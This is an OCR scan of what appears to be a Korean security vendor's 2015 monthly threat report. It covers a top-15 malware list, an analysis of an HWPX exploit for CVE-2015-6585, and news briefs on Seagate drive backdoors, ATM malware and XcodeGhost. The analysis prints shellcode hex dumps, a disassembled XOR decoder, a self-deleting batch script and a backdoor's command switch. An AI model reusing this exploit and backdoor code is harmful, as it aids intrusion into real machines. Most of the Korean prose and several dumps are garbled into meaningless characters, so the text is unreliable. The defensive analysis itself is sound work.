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48 AgF=TOP15

A AHTE Top 15 ARSAFPCOIM BXIE HETES 7|EIC 2 L= SAHOIC
Top 15 2IAE0M= X[ 1915 XEXRY

20154 9o HH AFI=

A4 Misc.Suspicious NTZ7+ 6
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6 NEW
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11 NEW
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13 NEW
14 I
15 NEW

opgTIE FIEH

Misc.Suspicious.NTZ

Misc.Keygen

Misc.HackTool. WinActivator
Adware Kraddare.295936
Adware.OpenShopper,)
Backdoor.Agent.com32
Misc.Agent. 126672
Adware.Kraddare.FT
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Gen:Variant. Adware.BrowseFox.12
Hostswww.daum.net
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Etc 1316
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Backdoor 256
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52 %ok ZZ(CVE-2015-6585)
A

O SH2 O|HI 0| BH= ZA HEH=Z

52 24 B D2 I3 SHR(HWP)S| HIZH0] 2OFES 0188t BHO| WS}
OAIIIRIZ A0f S CHAKIONH BiLii= U ATOIA(SpearPhishing) H0] HBEACL B2 AP Ol HEIielg
A3 42 BAHO! A0 A, HIRSCOAE F B T LIKo| & T2 OhIiel0] S| St

~Flor

OH
i

St QU|A 2014= JHHE YIS Z MIA| 0FF 2 SO OWPML(Open Word-Processor Markup Language) 2B SHEE

—

X| 2B OWPMLEEHE MSLI|A S| docx, pptx, xIsx@t H[Z=81AH| xml=E 24 F27=0|C}.

OWPMLESHO| HEHE 717l 0] MEZ0| TLE s Che 2Tt
BinData
Lolel.ole (Exploit Code, ShellCode, 2HT ES REFst OIiY)
Contents
“header.xml
Lsection0.xml
Lsectionl.xml (F|2f7 LS 26 A2 I

Lcontent.hpf

META-INF
Lcontainer.xml

Preview
LPrvText.txt

settings.xml
version,xml
mimetype

[E 1] HWPX B4 PX
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Part2.982| 2T E 0|+
MZ9| Contents S =2 &Q161H sectionl.xml IHU0| =Xst1 0] IIAUNA FUES 0|26 ZAHS oA =Lt
sectiont.xml LI & hpit2 M HE2 QUITEL, ==Xt 8 = HHE0| ESHEICH SHX2F 2 o~ Q= SEf7| L8HE AL QUFER

B|CHO[E AjZICk

out | ineShape| [Raf="2"

</hpisecPr:

. width="2" leader="0" type="1"/>
<hp:| ineBreak />
</hpii>
..</hp:linesegarray>
0| ME2 Of2hiet Z2 UTF-8 eS| EAHE Mot FLUZER 2|CtOEE AZICH

UTF-8 : OxE1 0x80 0x80
FLZE 1 U+1000 (WYANMAR LETTER KA)

[E 2] FopE0) 0|28 BAHHE

00000AT0 2F 3E 3C 2F 68 70 /></hp:pageBorde
00000RBO 72 46 69 6C 6C 3E rFill></hp:secPr
00000RS0 3E 3C 68 70 3A 74 ><hp:t>11§ a:1
00000RAD 3C 68 70 3A 74 61 <hp:tab width="2
00000RABO 22 20 6C 65 61 64 " leader="0" typ
00000ACO 65 3D 22 31 22 2F e="1"/><hp:1lineB

[22 2] section1.xml LY =X 5H= UTF-8 24}

23 3] RUIEE 2CiojHEH BXL K22 W

- SL|FEZ 2|C}o]

XIS 71217 1 AR RIS 0t 9T

[HEE|0 0x121C1000 22

2999999999999999
2992999999999
| 2e999999229700%¢0
[EXTIEIITITITIT I
| PRV YRRYRYRYRY
LUULLLYYINIVLLLY
199929999999
| e999902929929999
| 29999999229900%0
| e999999929099999
FYVYLVRDIRVIVLYY
2999992999999999
R9999999999990%
[EITITIITITIIIT I
| eee9999909979999
FIVVYRVIPPYNYY
2| 999999999999 1
| e e ereeveee
| e999909909020999
| e999999922079797
VYLV RPYRYRYY

(28 4] =20l 2= ole1.ole HO|E[LHM IE9 YRS X E CI0IE

H|22]of| MEE "TF =0 FAZIO| HIO|EIS &0

ESTsoft

0I5 2™ Shellcode?} EXgC= 2

2xjge

b B = |
EE 56| flal| EIPE Z£&6H= HI0|H =

=3
=

—

St

UTF-8 : OXE1 0x88 0x9C
FLIE : UH121C (ETHIOPIC SYLLABLE MEE)

)x121C1000 O 22 F=4
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Part2.92| OHMTE 0l

MOU EDH DWORD PTR DS:[ESI]
MOU EAX. DWORD PTR DS:[EDX+12@1

PUSH EDI

PUSH EBP
MOU ECH. ESI

Call ShellCode

(23 5| 43S FAE IR WIEE HHAFIE RE

Registers (FPU>
121C1608
121C18808
121C108808
ARARRAR

1515051515 5]]
121C18680
81191870

(22 6] FoFE0l 2] EEE HXIAE

S0 S0 90 S0 E8
89 31 52 8B 0c
28 B7 FF co 3cC
il Cl 0D FO 57 52
BB 42 3 DO 40 85 74 01
48 8 20 D3 3C 8B 8B
FF co C1 ( Cc7 EOQ F4 1D
3B 24 E2 24 D3 8B 4B
58 01 8B DO 44 24 5B
51 EQ E9 FF FF
6 2E 61 54
FF 68 72 2E 68
63 68 EC 04
El 01 68 01
30 49 CF 00
57 D9 57 D9
FF 50 07 47
& CE D9 43
SF 58 (od )
co 6A BA 50 . 02 68
4F D5 BA 16 B8 56
D7 75 AF F2 00 00 89
80 19 26 o8 04
54 08 04 F8 53
AE FF 53 Ccé FF 5F
01 ce 22 B6A 3 eF
68 01 00 44 68
F3 51 D5 00 DC S5E
2c FF 73 63 74 65 5
oc oc oc oc oc oc oC

[38 7] 23 Hjojg

k xIHc‘;HZl- AJ]

AEUM=

orq3

ol

e |

JiT
+E|.
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121C1600 NOP

121C16681 NOP

121C1682 NOP

121C1683 NOP

121C16684 NOP

121C1685 NOP

121C1686 NOP

121C1687 NOP

121C16688 NOP

121C1689 NOP

121C168A NOP

121C166B NOP

121C168C NOP

121C168D CLD

121C168E 800AARAEG IAf 121C169F

121C1613 PUSHAD

121C1614 MOU EBFP. ESP

121C1616 AOR EDA. EDX

121C1618 64:8B52 38 MOU EDX. DWORD PTR FS:[EDX+3@81
121C161C 8B52 BAC MOU EDX. DWORD PTR DS:[EDX+BC1
121C161F 8B52 14 MOU EDX. DWORD PTR DS:[EDX+141
121C1622 8B72 28 MOU ESI. DWORD PTR DS:[EDX+281
121C1625 @BFB74A 26 MOUZX ECX. WORD PTR DS:[EDK+261
121C1629 31FF #0R EDI. EDI

121C162B 31ca8 A0R EAX. EAX

[38 8] 2T AERE

T E= "SVCHSVCH" 2ArER T A = = F =l 13 = ETFEE Ox192U2.E XOR Al =

C|3sH}

=

1211745 93 XCHG EAX, EBX
121C1746 BA BA161C12 MOU EDX. 121C168@8
121C174B 42 INGC_FDX

121¢174¢ B8 53564348 | |MOU EAX, 48435653
121C1751 MOw EDI . EDR

1211753 SCAS DWORD PTR ES:[EDI]
121C1754 I sHORT 121C174B
1211756 SCAS DWORD PTR ES:[EDI]
121C1757 I sHORT 121C174B
1211759 BY PAPAAABB  |MOU ECX, @

121C175E 89FE MOU ESI, EDI

1211760 B1CE ADD ESI, ECK

1211762 8026 MOU_AH. RYTE PTR DS:[ESI]
1211764 8@F4 19 |ROR AH, 19

121C1767 8826 HOU“BYTE PIR DS:[ESI1, AH
1211769 a1 ING_FCX

121C176A 81F9 BEEAB4G@ |CMP ECX. 4EAGS

121C1778 7?5 EC I8 SHORT 1210G1°5E
121C1772 6h B@ PUSH B

1211774 54 PUSH ESP

1211775 B8 BSEAR4BB  |MOU EAX, 4EAGS

1211770 58 PUSH EAX

[28 9] “SVCHSVCH™ El2E Zh= REIXOR C2E 2H

ESTsoft
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0c 0C 0c OC

BqujSlkv~kxt92x
wwvm9{ | 9klwSpw9]
VIStv}|T...

XOR 0)(19

- 0C 53 5643
000«
000 4¢
000 0f
0 00 0f
SCDhZl
57 72 61
75 6E 20

2063 61|!This program ca
62 20 44 |nnot be run in D
) 00|08 mode.. S ivca
wie e e e Dl e
R0 O . BV, 2
s«bn..Dd..[w. .
eBecsDdscbos

T AR AR AR

S5 LT E= YAIEEH0 “svchost.exe™0[2hz AAH DUHO 2 MAS W,
S=oit

push [{]

push edi

push 876F8B31h ; WinExec

call ebp

push 1F4h

push BE B35F 844h ; Sleep

call ebp

push S1E2F352h ; GetCurrentProcess

call ebp

push [{]

push eax

push SECADC87h ; TerminateProcess

call ebp

(wEIR RIS I=E S0 B

- o

>

nx
g

HIEE S ESE

5Tt AJRIEE s

—

svchost.exe IFY2 MpCmdRun.exe IS A4 2
vchost.exe I AFZES MXSHCY,

AgAP|T

[ | zawg bat - HI2E

= | E s

2 #|EE MAO)

27 V) ESZH)

oL

@echo of f

‘Loop

del /a H "C:#Users#Test#ippDatatilocal#Tenpltsvchost  exe”
if exist "C:#Users¥Test¥ippDatattlocal#Templsyvchost  exe”
del "C:#flUsers#TestiippDatatilocal#Tenptzawg. bat”

goto Loop

R

(23 12] 4T EE AHGH AT LHE
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AdobeArm.exe
MpCmdRun.exe= THULHO| ZEHE HEHE 210 CRC M0 FFICH T BELEo] HIO|EE 0x2702HE U0 Hat (&C
M & HE2 7I42C,

68482182 jz short loc_48212E

90482184 push 2 ; Origin
88482106 push var_278 ; Dffset
00402108 push esi ; File

884 82186C call ds:fseek

a4 02112 push esi ; File
apua2113 push 1 ; Count
apua2115 push 278h ; ElementSize
ae48211A push offset unk_416618 ; DstBuf
e84 8211F call ds:fread

(23] 13] e OFX|2f S22 Hlo[E 817

00016000 02 00 01 BB vy 200 00 00 00 00 00 00 00 ...sA.C—........
00016010 02 00 01 BB AT PP 27y 00 00 00 00 00 00 00 00 NP 3 e AT
00016020 02 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ....90¢¥........
00016030 02 00 00 OO0 FF FF FF FF 00 €0 00 00 00 00 00 00 ....¥¥¥¥........
00016040 02 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ....¥¥¥V...vovcvs
00016050 00 00 OO0 OO0 OO0 OO0 00 OO0 01 00 00 00 E1 A5 C1 01 ....cceeenas a¥A.

(22 14] CRCAH B4 HE

T whx kxR AN

T e ww wxn AT

(B 2] CRCMH Fx HE

12| 23} 22 CRCMH & I XX Z EXHH F 712 CRCAMH FAE AHESIT #T0i= 01BB(443)ZE= SSL
SAIS Bt P50l S35 = 01T BJ0| M2t Chst WS SEISHA| ECt

rma

switeh ( Dst )

case 26:
Dst = &3
ub = sub_481485(&unk_&416288, BDst, 0);
goto LABEL_26;

case 15:
vB = System_info{);
goto LABEL_26;

case 10:
ull = Drive_info();
goto LABEL_26;

case 16:
ull = Process_search(};
goto LABEL_26;

case 23:
uB = run_dir_infeo{Size);
goto LABEL_26;

case 19:
vd = File_Search(Size);
goto LABEL_26;

case 17:
uB = CHMD_RUM((LPCSTR)Size);
goto LABEL_26;

case 18:
Ul = CHD_RUM_B{Size};
goto LABEL_26;

case 13:
vd = DPelete_file(Size);
goto LABEL_26;

case 14:
vB = Create_File(Size);
goto LABEL_26;

23 15] S0 ME 7|5 22 4%

>~
=
X
—
ke
=z
s
e

4 Z} ME0f PC A B 2 T A SHe 8 2191 B 4 QUCh AKA 72| BE HO{RSH0|
A d
(= s |

7
- o
KHOfIA| 271 20 225 E HHS 0t THE AgTES d3lioh= Y22 2XH S2H0] 7Hsoi.
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3 =

7|1Z9| hwpet2EA F2U4FE SZ00 010] hwpxEAM FFEE 0185t= M= FEHC| 320 STRUCL F, 7+ HT2t E0F 0HL 2t
AT 31 QUIA0 CHEH F2fH SAE 7FsolA Tatstl U= AO|Ct.
hwpxEAl= OWPMLEA SAE MEH xmlE hwpE 2PN REE ZH=C 0 FFEES xmle| BT hp:t 2F hpilineseg?l

FOS 0185101 WHEE ASICE Xml EA I FR7} D L2AKIX| Q2 HEE Q7| H20| Coyst SERl 305 32|
ZxEt 4 QU

O B2 517 QUIA 20| HAYS 0185 BZHOR, ST FIMO| IX| B 41 HEOR H|E SO A 322 ofe

4 ULk 30213 2SS R OIHYUS QEEY| THR0), SA7HEEHE ARZOPAA 2 0|HYUS HOUEX| 94 20| SLh

ADBS &5 SAMENR RXISHT, Yo AABRAT} 22 HoPY B2 XIEH SRS ASIITIH KL EYHOR HopY TH0K
A
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Part3. 22t 0|7 E&7|

OZC| HOt Ol

2iofo] &2 TOP Ol

- HIO[t] AHY T O|H[ =)L AISHEH AHH 012 HISHELICY"
HiO|t Y 22|XtE APEEH THY O|HU0| REEIRICE SAIXK= O|HIA0IA “0] HIAIX|H FA[SHH Ghle| HID|H 0HY AHIFO| MSHICH ™
%J.OPO"OEH olfid A5 22jol S071H H|0[H ZE 27791 210 =L} SHX|2H AX|2K= X1017} U2 H, sie 27721 2ol ofo|C|et HIZHS S
HICHH AR eFE,

- YEES 0= FUHS +8 20|15 S0

A 27 Q0| FUHSE 2 o Sll= W82 THIEE HSH JHER10] XIkoh A-MZX|2 0| FUHSE 2+16= B2 2613 ST
Op1E0] A S +F0 #ES HSt Btk A0| F= FHXIFK|T 7HIEE ~F Hs U= 77[61| ¢l 245 ©EM +8 HrEs 22

20|k,

- OIE{) T IGHRLS, 28 Afch A% A
710 S 8712 AO|EE S5 A A2 IsHAHS0| 23S HUZ H AS0M 160 YT SARKTE 260l HARCE 1682+
HXASEHHHO] HOHH| 2 HZEL HES WS ALIE O[ZXH0iH| £3H7t “”é—ﬁoim 71 &S HiFE 20| ACHT e R8S 0] ARINIE

HEMCH, 57t 710 AO|EOfIA OI8X}2| =872l BEE Wil S2UASME =T *Ulﬂi_' E*‘71|“l of, 42 T MAIKESO| 7
MOIEOA tifh DISHALS2| 7H2IEE = SIS ME Midz B2 A0|X], 71 3212 '%-H% Pl 22 OHOIM O] | =2hs HEE 4 |lfil
TR

- D25 "LHA7EX] 712 SH(0|X|2] 2E HE[EX KA
DI EZ2HR7E 2016E7K| D2 =5, 24712 3 L5t S371240| 2E5H= 2E =2 SHO|X|2| AE|HAA HAHES DFF2fe 7= 02t
R 102 AE|EAA HAHE {3 01AI=IS 0ol 23 Oiltts SUHS 2 2 HE[ZAAS 70| HHES & 0FH0[2f HZICL

Ho

"3, 513 YIS D2 NS st 30| HEE '
0|00 = eh=0lM E2| AFBEl= |IE T2 T3S ‘Zfﬂﬁiiﬁl SEE & M0t S22 IR0 5810 = A 20T SIRICE A2IX21 HWP

s e +5e [*’O’E": o 5512 58101 CRCHHo| HUHCH, A AL SFIO S5 Sl SO, S812
FHE|= Of2 3Ztc HA0] AL AZSIC
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Adobe Flash Player Desktop Runtime PERX o 18.0.0.232 & OPHHH
Adobe Flash Player Extended Support Release ERX o 13.0.0.232 & OHHZF

Adobe Flash Player for Google Chrome

Adobe Flash Player for Microsoft Edge and
Internet Explorer 11

Adobe Flash Player for Internet Explorer 10,11

EELESIETEIN
=2X 10

HE2X 80,81

18.0.0.233 & OpHHH

18.0.0.232 ! O

18.0.0.232 & OB

Adobe Flash Player for Linux EIEES 11.2.202.508 %! 0| HHH
Air Desktop Runtime ERX o 18.0.0199 ! O|HHF
Air SDK HERX o OIEZ0|E, 05 18.0.0199 %! O|HHT
Air SDK & Compiler HIERX o OlE 20| j0S 18.0.0180 X! OHB{T
Air for Android or=20|e 18.0.0143 % O}
- oiEd
Adobe Flash Player AHEXt

- Y= o 31249] Adobe Flash Player desktop runtime AF2AH= 19.0.0.185HFO 2 AH0|E M2

- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0il pof Z|A B
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- Adobe Flash Player Extended Support Release AF2AH= 18.0.0.241 HHCZ YH0|1E HE
- 2jA #1749| Adobe Flash Player AKRAH= 112202521 HFO 2 QjH0|E X2
— Adobe Flash Player?t HX[E Google Chrome2 XAtS22 £|L AH|0|E KT HE

- 72 38 Y 252 8., 10 Q| QUEHl A EZ2 10, 11, EDGEOH| Adobe Flash Player2 AX|8t At8Xt= XIS 2 |4 YHI0|ET HE

- AIR desktop runtime, AIR SDK 2t Compiler, AIR for AndroidAF2AH= 19.0.0.190 HES Z YHI0|E &HE

-ZIA0E

https://helpx.adobe.com/security/products/flash-player/apsh15-23 html
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1. Z01H

— CERT, A58 IO|0{ZE A7} 7| QM ZZ0| F 2oL

Chrome, Firefox Vulnerable to Cookie Injection Attacks, CERT Warns

CERTZt B2 S Soli HeteXe| F7|7HHTTPS & 23| H St SAS Hlok=0| AFZE 4= UM, AXI0| HTTP AIM0] &IAIZ
S012 SUX FL2| SHXSE 0|F HTTPS AZ0)| 7715 FUE 4= ACHH Z 13U,

O=O| AtTf2), BERL0| MOjOI=A, 20| I2T 2 HASKSO| 77| QM BH| F0HE L0 HQIEICE HIZ F70fs ¢
secure flag 7} E21EI0] 101 hitpsf OIS+ Q12 HSHS11 QIKIR, 7 YEIS) 12 To| AS0K= hitps 27| AAT SHI3H
op=rt

0IZ OZ5lH MITM SZAP} https F71£ LHE AO|E = 7PE5=S 278 &= QUL & SHXH= example.com?l 77|18 AE51,
www.example.come| TR 77 |E FE31 & 4 Q| == 210|Ct,

CERTE 0120l 348! 71Tt 17 |i= SHi2t MAOIA TAEIS 21 CIOJESS 212t 2= il Bk D2k 0] 77] TR 2PH0| Sif s
FQAIIE (72, W3 2 Ofu2i7HS)0 ZRGHs 1S W2BIHON, F2 8 HRSK (32, TOIISA, Amtz] S)OIA i
FOPHOR OloH Q15101 MEO| Tf AR 4 UKD Rk

OJof| AFO|ERI2|XFSfIH| HSTS(HTTP Strict Transport Security)E MELMHIQ| 23t S4410} 3PH 248t 57| HLISIUCE 015
Sol ST MEEMHRIS| 7S T8} AlE 4= U= Ee 22 F7|E 2Fols AS FEHCZ 2SN E &= V| H20ICt.

TEpt FA HIFO| HASKS2 77| QN HOPHO| HES W| OOE, ASAISS MBS HASKE 2 HEHOE Qiro|s
51718 HIBIAC,

Ir

=X : http://www.hotforsecurity.com/blog/chrome-firefox-vulnerable-to-cookie-injection-attacks—cert-warns-12747html

— WHIO|E 2M 5}= E2t0|H0j|A] B0 B

Warning! Seagate Wireless Hard Drives Have a Secret Backdoor for Hackers

MAHIO|E2| 3MICH T4 SI= E2}0|20f| HH=0{7F ERIE|M = A= LIEHT

Tangible SecurityOil A ZIgigt |2 H520f M=H, WAH0|E £ Si= E210|H0j|A SI=ETE & AT} WHEIUCHT SIRLE ESt
LHEHE AFSAH AE(CIEE A % THAUE — “root”) 2 B4l F2FE(CVE-2015-2874)E 0|25IH X HHIE AR HIE 4
U= 512510 ALZAtC| HIO|HE EFE 4 A

US-CERTO|| I=H, O2H2] MA|O|E St= E2t0|E RRISO0| Ci4=2| FFES 71X ULk

- Seagate Wireless Plus Mobile Storage

- Seagate Wireless Mobile Storage (EfE&! Y ADIEEQ| HO|E] M AEZ2|Y)

- LaCie FUEL (Ot0|I{ES| MZt 27tS BMO 2 SHE

SANE BE2 2 77| RE H2 Hgts B M & HIOIE0f H2E + A 2.
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FoF EF2 oflet 2Lt

- Si=3E & F2HE ARE

- 2EH 2F (Direct Request Forced Browsing)
- Higele I 2 E (YIS EY 2D

ol B2 7HASICE MAIOIE= 717|9] HRUIOIE 3.41.1052 HO|0|E 31 .

EX : http://thehackernews.com/2015/09/seagate-wireless-harddrives.html

— CIAgt HZAL| ATMS EFICZ o EH0] 2, 71E AXXES =

First multi-~vendor ATM malware targeting cardholders

IIO[O{OFO0 |7} A HE|-HI ATM HI0IS LZAZHCHT UHSIC

O] HYOl= 82 252 AHME|0f 2{A|O[0f|A] HIO|2A ERE R E E[UOM, OFF]| JHUTHAHRIHCE HOICIRE YRACT FiX|

Backdoor ATM.Suceful0|2f11 EX|=|0{, SUCEFULO|2 HH E|ACt

SUCEFULZ DieboldLt NCR ATMOJIA] 2E 418 R H271=2| E3 GI0[EE &S 4 UL, 7I=0) L H E2| HOHZ ¢S =
UACH, HAIE Liol7| 2o ATME| MIME FE2IAI7 M, ATMS| 2F] 7|E Soll BUNE ZES & +& U0 33,

TR OFSHES, 0] L7} FH=0] AU/ M = TOIE &~ U7 | TR0l M| Z2HAE] 7158 SXl= AT 7HsE Z0[2H= FHo|Ct,
% M= I0[0{0}0 = AHEAP | FIEE £ & BIEH0] E|X| 20t =22 A5l A12|E HI2 A0| SHAP L 7IEE WiLHO| EX7H=
2S5 A|HI51SCT

BIXIH, OFAIIX| 41K O] YT E7} LBEIT Q= MRS HX| 37| T, 0] 07k ATMO| O A1X| H=X| S5ILIK| 25
ouct

SUCEFULZ XFS Managerz 247! O|SHI0{2} SLISHT.

TO[O{OL0 = ATMS AL % 7HE7H i EIX| 42 ZSE CHIoH 32| SIS 0I2] ZHISI0] ATM 2HE HOILIK| Q115 237
oi2tst 4 QTS Bl2fT ATYCE

EX : http://www.scmagazine.com/fireeye-first-multi-vendor-atm-malware-targeting—-cardholders/article/438151/
https://www fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html
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2.3

— k2 APPE0| XcodeGhost 243 E0f| ZIHE|QACT,
FAPP# & XcodeGhostikE RO =ik

BIX[2H 0] AT SL B2 HS 241 IO, iPhone/iPad O THY HOIKIZ SI9) ARBXHSS] iCloud APSEELE CIZ Izt YwiS
SHE 4 QUL

SIXHK| XcodeGhostA T E0f| ZE WSS M5 12306 EAELT BEF  SEE - NS = S5  WSThEH  PEEGE
R T FIUMT HOUMT2 § 917 QU= AZEQ0| 22 Al BSO|Tt

= HXRICHH, U ARZSIX| ZOLOF SHH, s USO0| MZ YHI0IE & [ 71X| 7 |[CHECt7 HUI0IEE 8HOF STt BXH
X

E4 1 http://mobileyesky.com/75/97641575.shtml?from=baiduvideo

- 372 [ MUSH AOIESO| Killis 2 EZ =0 ZEEIRACE
1B 20541 TR AKillis AR S

Xcode2| CIf7} 2 7HA|7 | 0], =2 22120 S0i|A] E SHA2| AF0] BFICL Killiseh= 015 S 71 E2f0IHY 3 ER, &=
LH 2007H2] B8 Lt C}22 = AO|EE S50 10A12F 0| St 502HTHE| PCE ZHEAIICL

Kilis2t8Z == MY CHR22E A0|EE S50 REEZIUCE,

IfQd CI22 E AO|ENIM AFEAISS 3112 Roks A2 0]0] 22 Z0] OHLICE SEX[ZE O Killis AR =2 5= 7E Tt
CH22E AO|ES| AN I CIREE A0 SHUAC
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R [Maznshan Network Technalogy Co. L
BT |ﬁjﬁ

EEHE: |zo1 SEE9F158 14:24:34

EEEBY

HEW

ZEREE: EFEsEa:  EEE

Symantec Tim... 2B 2015598158 14..

5 ASAPH X TS Ch2EA FAE SE6HH, 7Y A AFSAIC CH2E E JINIXL 5 IR0 OF Ifd MO|EQ| HE
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POST Japl/getallvd HTTR/1.1 "
Host: api.goosad.com

Content-Length: 18

Connection:close

Accept-Language: th-cn

Cache-Conbtrol:no-cache

Content-Type:application/s-wai-form-urlencoded

BappideE98s1d=2592

HTTR 1.1 200 O

Server: nglnx )

Date: Tus, 22 Sep 2015 08:38:25 GMT
Content-Type: text/htal;Charset-utf-8
Connection: close
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anell, "1ist_sleep™:"07, "list_mimelist™:""},{"1ist_nameT™:"\uSede
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\uT2ENuBABS\UTTRIWSFE T, 115t _type”:T1", "1ist X7 5087, "16st_y” 172257, "Iist_pg":"17, 1ist_loge”: "bSm.prg”, "1is
t_cmd”:null, "1ist_sleep™: "0, "1ist_mimelist”:"QQPCRTP. exejlooescore.exe; "}, {T1ist_nameT™: “Q0\ubdaf
\UBIcB\USEEE", “ 115t nameS”: "VE. B5165 20150730230132.exe”, "1ist_url™: “http: \/\/softiile. Ig.q9. com\ fmyapp\/rens\/
d\/B5165\/VE._85165_20150730230132. exe™, "1ist_desc™: "uTE1wSB1 TS \udela
\uS1b2\ubdba”, "Tist_type™:"17,"11st_k*:"508", "1ist_y~:"295°,list_pg":"1","1ist_logo™: "qqllq. png”, "1ist_cad™:nul
1,"1ist_sleep™:70","1ist_mimelist™:"368tray.exe; I68rp.oxe;"},
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